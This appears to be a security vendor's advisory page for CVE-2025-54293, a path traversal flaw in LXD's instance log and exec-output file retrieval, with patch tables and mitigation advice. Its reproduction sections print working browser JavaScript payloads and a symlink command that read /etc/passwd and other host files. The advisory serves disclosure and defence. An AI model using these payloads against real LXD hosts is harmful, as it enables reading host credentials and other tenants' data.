CVE-2025-54293 — lxd
Fix: canonical/lxd#15022CVE-2025-54293 is a Path Traversal vulnerability in github.com/canonical/lxd. A fix is available for github.com/canonical/lxd — see the affected versions and patch details below.
Path Traversal in LXD Instance Log File Retrieval
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-54293.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
github.com/canonical/lxd🐹github.com/canonical/lxd🐹github.com/canonical/lxdReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Although outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instance_logs.go in the LXD 5.0 LTS series.
This vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier.
However, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it.
Implementation in vulnerable versions (LXD 5.0 LTS series):
This function allows filenames starting with snapshot_ or migration_, but lacks sufficient validation for the portion after the prefix, enabling path traversal attacks. The fixed version is as follows:
Implementation in fixed versions (LXD 5.21 and later):
This function ensures that filenames do not contain /, , or .. .
Note that in Linux generally, path traversal like /not_exist_folder/../exist_folder/ is rejected within system calls and doesn't succeed.
However, in this case, the attack succeeds because URL normalization by golang's filepath.Join is performed beforehand.
Related part of instanceLogGet function:
Related part of instanceLogDelete function:
In the fixed version, filenames containing path traversal strings are rejected at the validLogFileName stage through pre-checking by shared.IsFileName.
Reproduction Steps
All reproduction steps for this finding must be performed on LXD 5.0.
- Log in with an account having access to LXD-UI
- Open browser DevTools and execute the following JavaScript to attempt path traversal attack:
(async () => {
const projectName = prompt("Enter target project name:");
const instanceName = prompt("Enter target instance
name:");
const maliciousLogFile =
encodeURIComponent('snapshot_../../../../../../../../../../etc
/passwd');
const response = await
fetch(`/1.0/instances/${instanceName}/logs/${maliciousLogFile}
?project=${projectName}`, {
method: 'GET',
credentials: 'include'
});
const content = await response.text();
console.log(content);
})();
Description (2)
A similar issue also exists in the validExecOutputFileName function:
For exec-output, since a suffix is specified, it appears that arbitrary files cannot be specified. However, if an attacker has command execution privileges within a container, they can create a symbolic link that satisfies the suffix condition within the container and have the LXD host access it to perform the attack.
Reproduction Steps (2)
- Open terminal in instance using LXD-UI and create symbolic link:
ln -s /etc/passwd exec_XXX-symlink.stdout
- Execute the following JavaScript in browser DevTools to read files via symbolic link:
(async () => {
const projectName = prompt("Enter target project name:");
const instanceName = prompt("Enter target instance
name:");
const maliciousExecFile =
encodeURIComponent(`exec_../../../../../../../../../../../var/
snap/lxd/common/lxd/storage-pools/${projectName}/containers/${
instanceName}/rootfs/root/exec_XXX-symlink.stdout`);
const response = await
fetch(`/1.0/instances/${instanceName}/logs/exec-output/${malic
iousExecFile}?project=${projectName}`, {
method: 'GET',
credentials: 'include'
});
const content = await response.text();
console.log(content);
})();
This technique allows attackers with command execution privileges within a container to create symbolic links and attempt access to the host filesystem.
Risk
This vulnerability exists in the LXD 5.0 LTS series, which appears to remain in widespread use, and if attackers have access to arbitrary projects and instances, they can read arbitrary files on the LXD host.
This could lead to leakage of the following information: - LXD host configuration files (/etc/passwd, /etc/shadow, etc.) - LXD database files (containing information about all projects and instances) - Configuration files and data of other instances - Sensitive information on the host system
Countermeasures
Since this vulnerability has already been fixed, the primary countermeasures are providing information to users running older versions of LXD and, if possible, backporting to other LTS versions:
Patches
| LXD Series | Status |
|---|---|
| 6 | Fixed in LXD 6.5 |
| 5.21 | Fixed in LXD 5.21.4 |
| 5.0 | Ignored - Not critical |
| 4.0 | Ignored - Not critical |
References
Reported by GMO Flatt Security Inc.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/canonical/lxd | ≥ 4.0&&< 5.21.4 | 5.21.4go get github.com/canonical/lxd@v5.21.4 |
| 🐹Go | github.com/canonical/lxd | ≥ 6.0&&< 6.5 | 6.5go get github.com/canonical/lxd@v6.5 |
| 🐹Go | github.com/canonical/lxd | ≥ 0.0.0-20200331193331-03aab09f5b5c&&< 0.0.0-20250224180022-ec09b24179f3 | 0.0.0-20250224180022-ec09b24179f3go get github.com/canonical/lxd@v0.0.0-20250224180022-ec09b24179f3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/canonical/lxd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/canonical/lxd to 5.21.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-54293 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-54293 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-54293. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-54293 in your dependencies?
O3 Security finds CVE-2025-54293 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.